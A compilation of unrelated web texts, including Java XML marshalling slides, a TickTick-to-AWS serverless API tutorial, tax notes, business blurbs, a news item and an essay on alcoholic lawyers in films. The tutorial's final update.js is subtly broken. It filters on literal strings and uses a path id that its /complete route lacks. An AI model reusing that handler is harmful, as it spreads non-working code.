You need a goal to speed up your pace. I have worked on digital communication strategies for brands Paul Mitchell and adidas, which makes me consider all channels and target groups.
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See ProjectsWhile working at the service hotline at Paul Mitchell, I realised how great it is to test new features with the people who eventually use it. I always see the user and their behaviour at the heart of what I do.
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class: center, middle # Functional Java marshalling without magic --- # Who likes 1. Debugging reflection-based code -- 2. Debugging annotation-based code -- 3. Debugging aspect-based code -- - Yet, every time we want to read or write XML, we dive head-first into it. --- # I need to do XML, I know this! ``` package com.service.data; class Person { private final String firstName, lastName; private final List
address; public Person (String firstName, String lastName, Iterable
address) { this.firstName = firstName; this.lastName = lastName; this.address = Collections.unmodifiableList(new ArrayList(address)); } public String getFirstName() { return firstName; } public String getLastName() { return lastName; } public List
getAddress() { return address; } } ``` --- # I need to do XML, I know this! ``` @XmlRootElement(namespace = API, name = "Person") class Person { private final String firstName, lastName; private final List
address; public Person (String firstName, String lastName, Iterable
address) { this.firstName = firstName; this.lastName = lastName; this.address = Collections.unmodifiableList(new ArrayList(address)); } @XmlAttribute("firstName") public String getFirstName() { return firstName; } @XmlAttribute("lastName") public String getLastName() { return lastName; } @XmlElement(namespace = Constants.API, "address") public List
getAddress() { return address; } } ``` --- # I need to do XML, I know this! - A short while later... ``` @XmlRootElement(namespace = API, name = "Person") *@XmlAccessorType(XmlAccessType.NONE) class Person { private final String firstName, lastName; private final List
address; public Person (String firstName, String lastName, Iterable
address) { /* ... */ } /* ... */ @XmlElement(namespace = API, "address") public List
getAddress() { * return Collections.unmodifiableList(address); } * public String getName() { return getFirstName() + " " + getLastName(); } } ``` --- # I need to do XML, I know this! - A little later yet... ``` class Person { /* ... */ private final LocalDate birthday; @XmlAttribute("birthday") public LocalDate getBirthday() { return birthday; } } ``` - Oh I'd actually like ```xml
1981
11
1
``` - Anyone? -- .small[ - Declare `@XmlJavaTypeAdapter` on every usage - Create `XmlAdapter
` and have it cast to DOM `Element` ] --- # I need to do XML, I know this! - Even later... ``` @XmlRootElement(namespace = API, name="RichPerson") class RichPerson { //lots of extra fields added here, //slightly incompatible with Person public Person toPerson() { return new Person( /* ... */ ); } } ``` - I'd like to accept either a Person or a RichPerson for my API - Anyone? --- # Problems with data binding through annotations - Polluting service data classes with REST API logic - Must change the data classes (or write clumsy XML or binding code) - Data classes can only be annotated once - Hard or impossible to use any collections besides `java.util.ArrayList` - Must always deal with both read and write concerns - Same concerns exist, to differing extents, in Jackson and its annotations - Some inherent limitations - Lots of duplication: namespace declarations, collection handling, XmlAccessorType, ... - Code structure must follow XML or JSON object structure --- # Data binding through code - What if I could just say "_Put the first name into firstName, the last into lastName, and the address into some tags_" ``` import static com.tradeshift.reaktive.xml.XMLProtocol.*; XMLWriteProtocol
proto = tag(qname(API, "person"), Person::getFirstName, attribute(qname("firstName")), Person::getLastName, attribute(qname("lastName")), Person::getAddress, iterable( tag(qname(API, "address"), body ) ) ); ``` - which can then be used e.g. with STaX: `String xml = stax.writeAsString(person, proto.writer());` --- # Read and write protocol - Just add another lambda to allow reading as well ``` XMLProtocol
proto = tag(qname(API, "person"), attribute(qname("firstName")), attribute(qname("lastName")), * arrayList( tag(qname(API, "address"), body ) ), * (f, l, a) -> new Person(f, l, a), Person::getFirstName, Person::getLastName, Person::getAddress ); ``` --- # Our birthday example ``` XMLProtocol
date(QName tagName) { return tag(tagName, tag(qname("year"), body.as(INTEGER)), tag(qname("month"), body.as(INTEGER)), tag(qname("day"), body.as(INTEGER)), LocalDate::of, LocalDate::getYear, LocalDate::getMonthValue, LocalDate::getDayOfMonth ); } XMLProtocol
proto = tag(qname(API, "person"), attribute(qname("firstName")), attribute(qname("lastName")), arrayList( tag(qname(API, "address"), body ) ), * date(qname("birthday")), Person::new, /* ... */ ); ``` --- # Wilder things are possible - Extract and write _any_ tag and have it represented as a string ``` XMLProtocol
p = XMLProtocol.anyTag ``` - Extract and write any tag in the default namespace and its body into a `Tuple2` ([vavr.io](http://www.vavr.io)) ``` XMLProtocol
> p = XMLProtocol.anyTag.asLocalName() ``` - Represent the `
value1
more
` pattern as a normal `Map` ``` XMLProtocol
> proto = tag(qname("props"), hashMap( anyTagWithBody.asLocalName() )); ``` - `Map
` of _all nested tag names and their 'value' attribute_ - `Map
` of _all of this tag's attributes_ --- # Protocol alternatives - Say we have a breaking change and want to introduce a "version 2" person ```xml
``` - We can tie multiple type-compatible protocols together using `alternatively` ``` XMLProtocol
protoV2 = tag(qname("person"), /* ... */) .having(attribute(qname("rich")), "true"); XMLProtocol
protoV1 = tag(qname("person"), /* ... */); XMLProtocol
proto = alternatively(protoV2, protoV1); ``` - When reading, any protocol is allowed to match (first successful one wins) - When writing, first alternative is always used --- # Final thoughts - A complete analogous DSL exists for JSON (re-using Jackson's lowest-level parser underneath) - This is a "push" model parser - Data is pushed to the parser as it comes in - Compatible with non-blocking parsers like Aalto XML, and reactive frameworks like Akka ``` void handle(Person p) { /* ... */ } XMLReadProtocol
streamedProto = tag(qname("root"), foreach(personProto, this::handle) ); ```


The group was established to consider effective practice on marking in schools which raises standards for pupils without creating unnecessary workload.
The group:
Reducing teacher workload: Marking Policy Review Group report
Marking Policy Review Group: terms of reference ( PDF , 119KB , 2 pages )
The group met 6 times.
December 2015 ( PDF , 110KB , 2 pages )
| Dawn Copping (Chair) | Headteacher, Shaw Primary School |
| Dame Kate Dethridge | Headteacher, Churchend Primary School |
| David Didau | Freelance consultant and blogger, The Learning Spy Ltd |
| Nicky Easey | Assessment Leader, The Wroxham Primary School |
| Michael Eszrenyi | Modern foreign languages teacher, Barr Beacon School |
| Carolyn Fox | Executive Headteacher, Rise Park Academy Trust |
| Sean Harford | HMI, National Director, Education, Ofsted |
| Martin Hodge | Professional Officer (Education), Voice the Union |
| Rose Murphy | Classroom teacher and phase leader, St George’s Roman Catholic Primary School |
| Darren Northcott | National Official (Education), National Association of Schoolmasters Union of Women Teachers (NASUWT) |
| Emma Thom | Deputy Headteacher, Plantsbrook Secondary School |
| Mick Walker | Independent education consultant |
| Amanda Whittingham | Assistant Headteacher and Head of English, Wensley Fold Church of England Primary School |
| Yvonne Williams | Head of English, Portsmouth High School for Girls |


Overview of Global Income Tax Structures
Types of Taxation
- Income taxes - includes wages, interest, dividends, capital gains, etc.
- Wealth-based taxes - includes holdings in real estate and wealth transfers (e.g. inheritance)
- Consumption taxes - includes sales taxes and value-added taxes
General Income Tax Regimes
- Common progressive regime
- Heavy dividend tax regime
- Heavy capital gain tax regime
- Heavy interest tax regime
- Light capital gain tax regime
- Flat and light regime
- Flat and heavy regime
After-Tax Returns
- Accrual taxes on interest and dividends: FVIFi = [1+r(1-ti)]n
- Deferred capital gains: FVIFcg = (1+r)n(1-tcg)+tcg
- Cost basis: FVIFcgb = (1+r)n(1-tcg)+tcg-(1-B)tcg
- Wealth-based tax: FVIVw = [(1+r)(1-tw)]n
- In practice, portfolios will be subject to a variety of these tax structures
- Accrual-equivalent return: r(1-TAE) = RAE
Types of Investment Accounts
- Tax-deferred accounts - earnings accumulate on a tax deferred basis
- Tax-exempt accounts - earnings accumulate without tax consequences
Implications for Wealth Management
- Asset location - (e.g. place tax-free munis in a taxable account and heavily taxed securities in a TDA)
- Trading behavior - optimal allocation/location will differ depending on trading frequency/strategy and subsequent tax treatment
- Tax loss harvesting - realized capital losses can often be used to offset realized capital gains, reducing the current period tax obligation
- Holding period management - long-term gains may garner favorable tax treatment vs. short-term gains
- Mean-variance optimization should be performed using after-tax returns


I am an experienced Software Developer with a Bachelor’s degree in Computer Science, Master’s degree in Information Technology, and hands-on experience using varous software languages. I chose software development because I wanted to provide technology solutions to diverse clients.
This is a scholarship websites that help students find funding for college, by figuring out which students qualify to be sponsored to either continue or start their post high school studies.
Anitas Kitchen is a list of food and beverages offered to customers and the prices. The kitchen has variety of food which are deemed favourable to majority of customers who live in big urban cities.


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--- layout: post title: Getting Started with Firefox OS date: 2014-04-13 04:01:00.000000000 +05:30 type: post published: true status: publish categories: - Firefox - Firefox OS - Firefox OS Tutorials - Tutorials tags: [] meta: blogger_blog: www.technoruler.com blogger_author: VISWAPRASATH KS blogger_cb097c283b9bbfde97b4822e7250157d_permalink: '5519227617707520954' author: login: viswaprasath email<EMAIL_ADDRESS>display_name: Vitchu first_name: '' last_name: '' ---
Here from now you can learn more about Firefox OS Mobile application development. This series of tutorials will help you to learn the basics of Firefox OS application development. It is one of the emerging Mobile OS Platform in the growing countries. There are lot of fans for this due to the simple User Interface and less priced mobile phone. You can know more about this in their Official Site
For developing the applications for the Firefox OS we need not have much knowledge. It is enough to have some knowledge about HTML, CSS and Javascript. If you dont have hands-on this technologies no need to worry. Even without Programming you can develop mobile applications.


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Come with us and explore the land before thousands of years. We will take care of all the hassles of local transportation, multiple hotel bookings, entry-tickets for places etc.
Indian history is as old as time. Recorded history tells us around 1500 B.C., Aryan tribes originally from the area between the Caspian Sea and Hindu Kush mountains migrated to Indian subcontinent, bringing prototype of the Sanskrit language and culture which have been part of Hindu tradition ever since.
At History Travels, we have tried to bring this richness out to you with curated visiting sites, historian guided tours and taste of local cuisine and handicrafts.


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We are a locally owned and operated contracting business servicing South West Brisbane with over 30 years experience.
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We would love the opportunity to assist you or your business with your electrical needs. Be it a big or small job, we are always happy to help. We understand that electrical problems can occur at any time of the day or night and for this reason we are available 24/7 for emergencies.
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Documentation issues are also tracked at the jQuery Validation issue tracker. Pull Requests to improve the docs are welcome at the jQuery Validation docs repository, though.
IMPORTANT NOTE ABOUT EMAIL VALIDATION. As of version 1.12.0 this plugin is using the same regular expression that the HTML5 specification suggests for browsers to use. We will follow their lead and use the same check. If you think the specification is wrong, please report the issue to them. If you have different requirements, consider using a custom method.
Thanks for contributing! Here's a few guidelines to help your contribution get landed.
grunt
(see below) to check for linting and a few other issues.npm install -g grunt-cli
. More details are available on their website http://gruntjs.com/getting-started.npm install
.grunt
.If you've wrote custom methods that you'd like to contribute to additional-methods.js:
src/additional
src/localization
To run unit tests, just open test/index.html
within your browser. Make sure you ran npm install
before so all required dependencies are
available. Start with one browser while developing the fix, then run against others before committing. Usually latest Chrome, Firefox, Safari and Opera and a
few IEs.
Please report documentation issues at the jQuery Validation issue tracker. In case your pull request implements or changes public API it would be a plus you would provide a pull request against the jQuery Validation docs repository.
To run JSHint and other tools, use grunt
.


Dashboard
Current Goal : {{user.profile.get_goal}}
Current Routine: xxxxxxxxxxxxxx
{% include "tracker/snippets/chart.html" with Data="activity" %}
{% include 'tracker/snippets/chart.html' with Data="weight" %}


This article doesn't expect you to have any in-depth familiarity with AWS or IFTTT. However, it is required that you have accounts for both, and recommended that you've at least played around with both of them a little bit. The free tiers of both of these services is all that's required to get your personal API running, so this doesn't cost a single cent.
Disclaimer: This is not intended to replace a full-featured API and only works for your own TickTick account. It was built for a very simple purpose of mine, but depending on your use case, it could be perfect for you as well.
Anyway, let's get started! 🎉
Backstory
Over the past couple of months I've been experimenting with a little hardware project, the goal being to display a current to-do item I'm focusing on through an e-ink screen using a Raspberry Pi. On the program's startup, I was calling an API to grab my to-do list and store the items in an array, then cycling through each to display on my screen.
A problem came up when after the New Year I switched services to TickTick. I had been thinking about moving away from the last app that I used, and the fact that they have a built-in Pomodoro timer solidified the switch for me and I haven't looked back.
But, they don't have an open API.
It seems like it's an item that has been requested a few times, and currently seems to be an item that they're working on. But as of the writing of this article, they do not have one available to the public. I get it though, pushing new features to production takes time, but that was time that I didn't want to wait. So, I started digging around trying to find my own way.
I thought I'd just go the brute force method and use something like Puppeteer to sign in to the app and scrape out any data I could. But then I remembered IFTTT exists, and decided to see if they happened to have a trigger for tasks from TickTick. Lo and behold, they did! So my plan started coming together.
Here's how I did it, and how you can too.
Getting Started
First thing's first, if you haven't already, sign up for an Amazon AWS account. This is what will end up powering our actual API, using the following services:
- Lambda for processing incoming data from our API endpoints and sending it to/getting it from our database
- API Gateway for creating our endpoints and connecting them to our Lambda instances
- DynamoDB for being the NoSQL database storing our todo items
All of these services have generous free usage tiers that don't expire. Unless you're going to be using this API every minute, you shouldn't incur any direct costs.
Everything we need to do in order to set up these three services is going to be handled through the command line using the serverless
app. We'll be loosely following this tutorial to create our serverless AWS API.
Go ahead and open up a terminal or command prompt window, and run the following command to get the serverless app installed:
npm install serverless -g
Side Note: Don't have Node or npm installed? Check out this link and finish that before continuing with the above command.
Once that's completed, run this command to get the serverless todo demo API installed locally. This is going to be the basis for our API:
serverless install -u https://github.com/serverless/examples/tree/master/aws-node-rest-api-with-dynamodb -n ticktick-api
Navigate to the new folder created, ticktick-api
, and open up the code with your favorite editor.
Now it's time to start working on our API.
Creating our Serverless API
After opening up your new project, you should see a file structure that looks like this:
ticktick-api/
├── todos/
│ ├── create.js
│ ├── delete.js
│ ├── get.js
│ ├── list.js
│ └── update.js
├── package.json
├── README.md
└── serverless.yml
It's a pretty simple layout, each one of the files under the todos
directory is a specific endpoint for our API. They're going to be powered by a Node Lambda instance, interact with our database, and return something back in the request. The serverless.yml
file ties everything together, and generates the AWS services that we need in this API.
Before we actually deploy this though, we'll need to make some slight adjustments based on the data that we're pulling in and storing.
Opening up create.js
, you'll see the following lines of code:
if (typeof data.text !== 'string') {
console.error('Validation Failed');
callback(null, {
statusCode: 400,
headers: { 'Content-Type': 'text/plain' },
body: 'Couldn\'t create the todo item.',
});
return;
}
const params = {
TableName: process.env.DYNAMODB_TABLE,
Item: {
id: uuid.v1(),
text: data.text,
checked: false,
createdAt: timestamp,
updatedAt: timestamp,
},
};
This isn't bad, but I'd like to add the ability to store the list from TickTick as well as the todo item's text. So, let's make some adjustments to add that datapoint in there as well:
if (typeof data.text !== 'string' || typeof data.list !== 'string') {
console.error('Validation Failed');
callback(null, {
statusCode: 400,
headers: { 'Content-Type': 'text/plain' },
body: 'Couldn\'t create the todo item.',
});
return;
}
const params = {
TableName: process.env.DYNAMODB_TABLE,
Item: {
id: uuid.v1(),
text: data.text,
list: data.list,
checked: false,
createdAt: timestamp,
updatedAt: timestamp,
},
};
Okay, that's good. Let's open up our update.js
file as well and add that list attribute there too. I won't show the before here, but this is what lines 12-37 should look like with both the text and list attributes:
if (typeof data.text !== 'string' || typeof data.list !== 'string' || typeof data.checked !== 'boolean') {
console.error('Validation Failed');
callback(null, {
statusCode: 400,
headers: { 'Content-Type': 'text/plain' },
body: 'Couldn\'t update the todo item.',
});
return;
}
const params = {
TableName: process.env.DYNAMODB_TABLE,
Key: {
id: event.pathParameters.id,
},
ExpressionAttributeNames: {
'#todo_text': 'text',
'#todo_list': 'list',
},
ExpressionAttributeValues: {
':text': data.text,
':list': data.list,
':checked': data.checked,
':updatedAt': timestamp,
},
UpdateExpression: 'SET #todo_text = :text, #todo_list = :list, checked = :checked, updatedAt = :updatedAt',
ReturnValues: 'ALL_NEW',
};
Lastly, open up serverless.yml
and remove the frameworkVersion: ">=1.1.0 <2.0.0"
line entirely. Save that file, and we're ready to deploy.
Back in the command line, run the following commands to install any dependencies, bundle everything together, and deploy your API:
npm install
serverless deploy
You should get back a set of endpoints like this:
Service Information
service: ticktick-api
stage: dev
region: us-east-1
api keys:
None
endpoints:
POST - https://xxxxx.execute-api.us-east-1.amazonaws.com/dev/todos
GET - https://xxxxx.execute-api.us-east-1.amazonaws.com/dev/todos
GET - https://xxxxx.execute-api.us-east-1.amazonaws.com/dev/todos/{id}
PUT - https://xxxxx.execute-api.us-east-1.amazonaws.com/dev/todos/{id}
DELETE - https://xxxxx.execute-api.us-east-1.amazonaws.com/dev/todos/{id}
functions:
ticktick-api-dev-update: arn:aws:lambda:us-east-1:12345:function:ticktick-api-dev-update
ticktick-api-dev-get: arn:aws:lambda:us-east-1:12345:function:ticktick-api-dev-get
ticktick-api-dev-list: arn:aws:lambda:us-east-1:12345:function:ticktick-api-dev-list
ticktick-api-dev-create: arn:aws:lambda:us-east-1:12345:function:ticktick-api-dev-create
ticktick-api-dev-delete: arn:aws:lambda:us-east-1:12345:function:ticktick-api-dev-delete
Note: If you get an error back about AWS provider credentials not being found, follow this guide to set them up in order to work with your serverless CLI app.
Alright, so now you should be able to visit your API endpoint at https://xxxxx.execute-api.us-east-1.amazonaws.com/dev/todos
, and as of right now it should be returning back an empty array.
If so, we're on the right track, and we can move on to getting data from TickTick into it.
Setting up IFTTT
Okay, let's head over to IFTTT and either create or sign in to your account. This is going to function as the tie between TickTick and our newly-created API.
Create a new Applet, and for the service select TickTick. You're presented with two possible triggers, of which we're going to use both. But for this first one, select New task created.
On the next screen, you'll determine if you want to limit this by only firing on select task lists, tags, or priorities. Me personally, I'm using the Inbox list, with all tags and any priority, so it looks like this:
Hit create, and we're brought back to the Applet creation screen for the TT in IFTTT.
Select the Webhooks service, and on the following page choose the only action available, Make a web request.
On this page, we're going to add in all of the details for the web request. The URL is going to be one of the ones returned to us by serverless earlier, and should end in just /dev/todos
.
Set the method to POST
, and the Content Type to application/json
.
Finally, for the body, we're going to create a JSON string that will also contain data from our TickTick to-do item, pulled in automatically with the help of IFTTT.
All of these form fields should look like the screenshot below:
Once that's saved, we're ready to test it out!
Head over to your TickTick app, and create a new to-do item. When making the trigger in IFTTT, if you set any of the optional requirements like a specific list or tag, be sure to set those to make sure everything is working correctly.
Within a minute or so, we should be able to load up the main /dev/todos
API endpoint in a browser and get back an array containing any of the items that we added to TickTick in our test. They each should contain the task name, list name, timestamps, and a unique ID. That ID can then be used to pull in a single item, update it, or delete it from the database altogether.
Marking an item complete
You may have noticed that the above only pulls in items to our API when they're created. But, what if we want to update an item in our API when it's checked off in TickTick?
We can do that! First head back to the IFTTT dashboard and create a new Applet, with TickTick as the service. This time, choose the other trigger, New completed task. Again, choose what filters you would like (lists, tags, etc), and moving onto the action step, select Webhooks.
We're going to make a request to an endpoint on our API called /dev/todos/complete
. Don't worry, we'll create this shortly. Use the PUT
Method, application/json
Content Type, the same Body from the create Applet, and save it.
Now, let's open our ticktick-api code back up, and take a look at the update.js
file. This normally would expect an ID in the URL along with data attributes posted to it, in order to update a todo item. However, we're going to do some slight modifications in order to determine what item from what list needs to be updated, and mark it of as checked in our DynamoDB instance.
This is what that updated file should look like:
'use strict';
const AWS = require('aws-sdk');
const dynamoDb = new AWS.DynamoDB.DocumentClient();
module.exports.update = (event, context, callback) => {
const timestamp = new Date().getTime();
const data = JSON.parse(event.body);
const params = {
TableName: process.env.DYNAMODB_TABLE,
ExpressionAttributeValues: {
':text': 'text',
':list': 'list',
},
FilterExpression: 'list = :list and text = :text'
};
dynamoDb.scan(params, function (error, result) {
result.Items.forEach(function (element, index, array) {
const updateParams = {
TableName: process.env.DYNAMODB_TABLE,
Key: {
id: event.pathParameters.id,
},
ExpressionAttributeNames: {
'#todo_text': 'text',
'#todo_list': 'list',
},
ExpressionAttributeValues: {
':text': data.text,
':list': data.list,
':checked': true,
':updatedAt': timestamp,
},
UpdateExpression: 'SET #todo_text = :text, #todo_list = :list, checked = :checked, updatedAt = :updatedAt',
ReturnValues: 'ALL_NEW',
}
dynamoDb.update(updateParams, (error, result) => {
const response = {
statusCode: 200,
body: JSON.stringify(result.Attributes),
};
callback(null, response);
});
});
});
};
Now all we have to do is run serverless deploy
from our terminal again to update our Lambda instances and we're good to go! If we check off an item in TickTick, that same item in our API will have a checked: true
attribute.
That's it!
You now have your very own personal TickTick REST API that you can use to store items you've added in your lists and reference them programmatically in other applications. If you have any questions about this, please feel free to let me know in the comments.
Follow me here or on Twitter for more updates on what I'm using this API for, and other web development projects I'm working on.


Kids with autism in UK detained in “horrific” conditions
by The Associated PressLONDON (AP) — A British Parliamentary committee says many people with autism or learning disabilities are being detained in “horrific” conditions and is calling for an overhaul of the system intended to evaluate their treatment.
The Joint Committee on Human Rights said in a report issued Friday it heard “stark” evidence about how young people with disabilities or autism were being held. It said one boy’s arm was broken in a restraint and he did not receive medical attention for 24 hours.
The committee said it has “lost confidence that the system is doing what it says it is doing” and said the regulator’s approach “is not working.” It described the detention of young people with autism or disabilities as “often inappropriate.”
The Associated Press


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[gecode-users] Gecode/J - gist
Guido Tack
tack at ps.uni-sb.de
Mon Apr 23 08:51:56 CEST 2007
Hi.
Miroslava Plachá wrote:
> Hi,
> I uninstalled and reinstalled Gecode/J (the last release) and when
> I try to run
> any given example (and see gist working) I get this error:
>
> C:\javagecode\druhy\Gist\src\examples\Options.java:16: cannot access
> org.gecode.gist.Gist
> bad class file: C:\Program Files\Java\jdk1.5.0_09\jre\lib\ext
> \GecodeJ.jar(org/gecode/gist/Gist.class)
> class file has wrong version 50.0, should be 49.0
> Please remove or make sure it appears in the correct subdirectory
> of the
> classpath.
> import org.gecode.gist.Gist;
>
> I didn't touch anything in Options.java (have a new project with
> this class
> and one example).
> If I write my own program (just with org.gecode classes) it works
> fine.
>
> What can be wrong and how can I fix it?
This is a bug in the Windows package that we only found recently.
Apparently, stuff compiled with Java 1.6 does not run on Java 1.5,
and our new Gecode/J packages were compiled with 1.6. You have two
options: upgrade to Java 1.6, or wait a little while - we're
currently building and testing new Windows installer packages that
will work with both Java 1.5 and 1.6.
Cheers,
Guido
--
Guido Tack
Programming Systems Lab, Saarland University, Germany
http://www.ps.uni-sb.de/~tack
More information about the gecode-users
mailing list


This intention moves local variable declaration as close as possible to its usage, narrowing the scope of the local variable.


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Problem Solving
Sprint Four Technical Blog | Saturday 5th December, 2020
A time when I got blocked on a simple problem.
During the Built-in Methods kata, I found I got stuck on the deBee function. I had written my pseudocode for the function and researched what in-built methods I needed to use, but all my failed attempts kept on telling me that the .find method did not exist. With some googling, and trying the rubber ducky method by talking to my fern plant, I figured how to combine all the in-built methods correctly. Yet, the function was still not passing the tests! Why?! I had simply forgotten to include the brackets ( ) at the end of the .toLowerCase() method. This challenge taught me the importance of checking for spelling and syntax mistakes and using the error messages to help me solve the problem.
A time when I solved a problem in an elegant way
During the kata challenges this week, I felt like I was able to solve the JS Olympics challenges quite elegantly. I was on a roll from all the previous kata challenges and felt quite confident in my problem-solving abilities after successfully working through all the previous problems. I learnt that using pseudocode is a helpful tool for planning my solution before writing any code.
Reflecting on my confidence in using problem-solving techniques and processes.
Pseudocode
Is not actual code, but is non-technical steps, written plainly that create the rough draft of your code. I have found pseudocode a very important step in my problem-solving process, and one of the first steps I take when planning my code. It allows me to break down the large challenge into smaller manageable tasks and to have a greater understanding of what my code will do.
Trying something
By simply attempting something you have started to solve the problem because if it works then great and if it doesn't then it is a starting point from where you can apply other problem-solving techniques. By giving the code a try you will get error messages that may help you figure out what you have done wrong and may lead to questions that can be answered by researching further.
Reading error messages
When an error occurs, JavaScript will normally stop, and generate an error message. Reading these error messages can be a very useful way to debug your code. The error message provides the location/ line of the error and the type of error. Some examples of errors messages include Syntax errors, Expected or unexpected parenthesis and brackets, X Is Not defined: when a variable has not been defined. I have found reading through error messages great at pinpointing why my code is not working.
The Rubber Ducky Method
Is a method of debugging code. It involves explaining the problem to an inanimate object like a rubber duck. Typically in the process of doing this, you’ll find your problem. I don't have a rubber duck but I have tried discussing my problems out loud to my houseplants. I do feel a little silly and have had mixed results from this technique.
Console logging
console.log() is a function that writes a message to log on the console. This is a useful way to test sections of code to see if they are functioning.
Googling
Google is a great tool as it can provide you with the knowledge you need. Any problem you have when coding, someone else has had before or has the answer. Keeping to concise and simple questions when googling can find these answers quickly. I found myself using google a lot during the kata challenges, for finding out about methods or getting past a problem, googling has been a very helpful tool.
Asking your peers and coaches for help
I haven't had any many instances during the foundations of needing to ask for help from peers or coaches but when I do need that help I am comfortable to do so.
Reflection
"We do not learn from experience ... we learn from reflecting on experience." | John Dewey
I have found using reflection as a great way to improve my process. Reflecting at the end of a task means I understand what I have learnt and ensures I have met the learning competencies and identifies areas I may need to work on. I have gotten into the habit of starting each day of study with these four questions:
- What are my goals today?
- What are my challenges today?
- Have I reached my goals for today?
- What have I learnt today?


Profile Pictures
Profile pictures can be atoms or molecules depending on their child elements. A profile picture remains an atom while a profile picture with a social network icon is a molecule. A profile picture communicates a familar connection to the user.
Profile Picture
Use this atom to communicate a user's connected profile.
Example:

Profile Picture when inactive
Use this atom to communicate a user's connected profile that is currently inactive.
Example:

Profile Picture when used in MetaBar organisms
Use this atom when communicating an account in MetaBar organisms
Example:

Profile Picture with Icon
Use this molecule to communicate a user's connected profile and the social network.
Example:

Profile Picture with Icon when inactive
Use this molecule to communicate a user's connected profile that is currently inactive.
Example:


Models¶
This page is dedicated to models.py, which formats our backend database. It holds the Beer, Brewery and Store Classes, as well as the Store Owner and Customer classes, each of which represents a table in our database and each of which contain methods and attributes.
Beer¶
-
class
Beer
(db.Model)¶ -
__init__
(self, name, beer_image, abv, beer_type, seasonal, retail_cost, average_popularity, rarity, devlivery_day_of_the_week, brewery_id, **kwargs)¶ Creates a beer object and sets up its attributes
-
__repr__
(self)¶ Returns the beer object as a string with all its attributes such that it can be accessed by query.
-
Brewery¶
-
class
Brewery
(db.Model)¶ -
__init__
(self, name, address, city, state, zip_code, lat, lon, **kwargs)¶ Creates a brewery object and sets up its name, address and its latitude and longitude as attributes.
-
__repr__
(self)¶ Returns the brewery object as a string with all its attributes such that it can be accessed by query.
-
Store¶
-
class
Store
(db.Model)¶ -
__init__
(self, name, address, city, state, zip_code, average_traffic, lat, lon, **kwargs)¶ Creates a store object and sets up its name, address and its latitude and longitude as attributes. It also has an average traffic attribute that customers can use to determine if theyre likely to get their product at that location.
-
__repr__
(self)¶ Returns the store object as a string with all its attributes such that it can be accessed by query.
-
Store Owner¶
Customer¶
-
class
Customer
(db.Model)¶ -
.. py:method:: __init__(self, name, phone, email, password, **kwargs)
- Creates a customer object and sets up its name and user information as attributes.
-
__repr__
(self)¶ Returns the customer object as a string with all its attributes such that it can be accessed by query.
-
__unicode__
(self)¶ Returns the customer’s username
-
is_authenticated
(self)¶ Returns true to show that a user has input his correct login information
-
is_active
(self)¶ Returns true to show activity
-
is_anonymous
()¶ Returns false because anonymous is a status given to users not logged in
-
get_id
(self)¶ Returns the user’s id
-


A Free SoulDrunk Lawyers in the MoviesBy Michael Asimow, UCLA Law School (June 1998) The first of the great alcoholic film lawyers was Steven Ash in A Free Soul (1931), for which Lionel Barrymore received an Oscar. The picture also features Norma Shearer, Clark Gable, and Leslie Howard. Ash was based on the character of Earl Rogers, who was as famous and notorious in California in the early years of the century as Melvin Belli or Johnny Cochran. Rogers was the lawyer you had to get if you were in troubleand could afford him. Rogers represented Clarence Darrow in Darrows jury tampering trial in 1912. Rogers was a hopeless alcoholic whose career ultimately collapsed because of his illness. He died broke and alone. In his fine book about the Darrow trial, The People v. Clarence Darrow (Times Books 1993), Geoff Cowan writes about Rogers:
Rogers life, and his terrible struggle with alcoholism, were chronicled in a biography called Final Verdict (Doubleday, 1962) written by his daughter Adela Rogers St. Johns who became a successful novelist and journalist. It seems Adela never went to school much, mostly hanging out at her dads law office and attending his famous trials. The book was made into an unsuccessful film, also called Final Verdict (1991), which focuses on several of Rogers early and most famous trials. Treat Williams plays Rogers in this film. A Free Soul was based on a novel written by Adela. Its a fictionalized account of her fathers lifeand her own. In the film, Adela is Jan Ashthe free soul of the title who flaunts the stodgy conventions of upper class San Francisco. Steven Ash represents Ace Wilfong (Gable), a roguish gambler in a murder case. The key evidence against Wilfong is his hat which was found at the crime scene. Through dishonest means, Ash substitutes a much smaller hat for the one previously introduced in evidenceand then Wilfong is acquitted when the phony hat doesnt fit. Does this sound familiar to anyone? Later Jan takes up with Ace, over Stevens objection and, gasp, spends the night with him. When she refuses to marry Ace, he threatens to spread the gossip all over San Francisco. Jans loving friend Dwight Winthrop (Howard), whom she has spurned as too dull, kills Wilfong to preserve Jans honor. Meanwhile, Steven has drunk his way into the gutter. Things seem hopeless in Winthrops murder trial, but Jan finds Steven passed out in a cheap saloon and drags him into the courtroom. Steven is almost too weak and dissipated to speak, but he takes over the case and delivers an impassioned closing argument. Then he falls dead on the courtroom floor. Very melodramaticand very effective. Substance abuse among lawyers is a terrible problem. Studies indicate that the alcoholism rate among lawyers may be twice that of the general populationperhaps 20% of the total number of lawyers. It is unknown whether this high incidence rate results from the extreme stress of practicing law, or because the same personality traits predispose one to law practice and substance abuse. Nobody knows the extent of cocaine abuse among lawyers, but it too is undoubtedly substantial and devastating. Substance abuse inevitably results in impaired performanceat least poor judgment, incompetence and neglect of client affairs, sometimes fraud and theft from clients. Fifty to seventy percent of the disciplinary cases brought before state bar ethics panels result at least in part from alcohol or drug abuse. A great many malpractice cases also have their roots in substance abuse. There are now substantial resources available to help lawyers in trouble with substance abuse, such as The Other Bar, a Twelve Step program intended for lawyers, and state bar diversion programs. Nevertheless, the problem is very serious and appears to be getting worse. Recent films have done a good job of showing lawyers drastically impaired by alcohol abuse. Frank Galvin (Paul Newman) in The Verdict comes to mind immediately; hes a hopeless drunk who ignores his cases and solicits business by showing up at the funerals of strangers. Lucian Wilbanks (Donald Sutherland) has been disbarred for alcoholism in A Time to Kill. In one powerful scene, Wilbanks wanders his estate sipping from the bottle as he advises Jake Brigance on tactics in the upcoming trial of Carl Lee Hailey. In Sleepers, Benny Snyder (Dustin Hoffman) barely manages to walk around. He also has "a small drug problem." His ineptitude is the reason hes recruited as a defense lawyer in the DAs scheme to throw the case. If Snyder doesnt follow orders, hes told by the neighborhood crime boss, he can look forward to a "dirtnap." Id welcome readers suggestions about additional films showing lawyers with drinking or drug problems. Numerous lawyers are shown drinking during the work day, as in And Justice for All and Body Heat. This has to affect their performance the rest of the day and may well be a precursor to much more severe alcoholism problems down the roadlike those that destroyed the brilliant careers of Steven Ash in A Free Soul and his real-life model, Earl Rogers.
|


Company profile - Canadian Company Capabilities
Third-Party Information Liability Disclaimer
Some of the information on this Web page has been provided by external sources. The Government of Canada is not responsible for the accuracy, reliability or currency of the information supplied by external sources. Users wishing to rely upon this information should consult directly with the source of the information. Content provided by external sources is not subject to official languages, privacy and accessibility requirements.
FreeFuelForever Ltd.
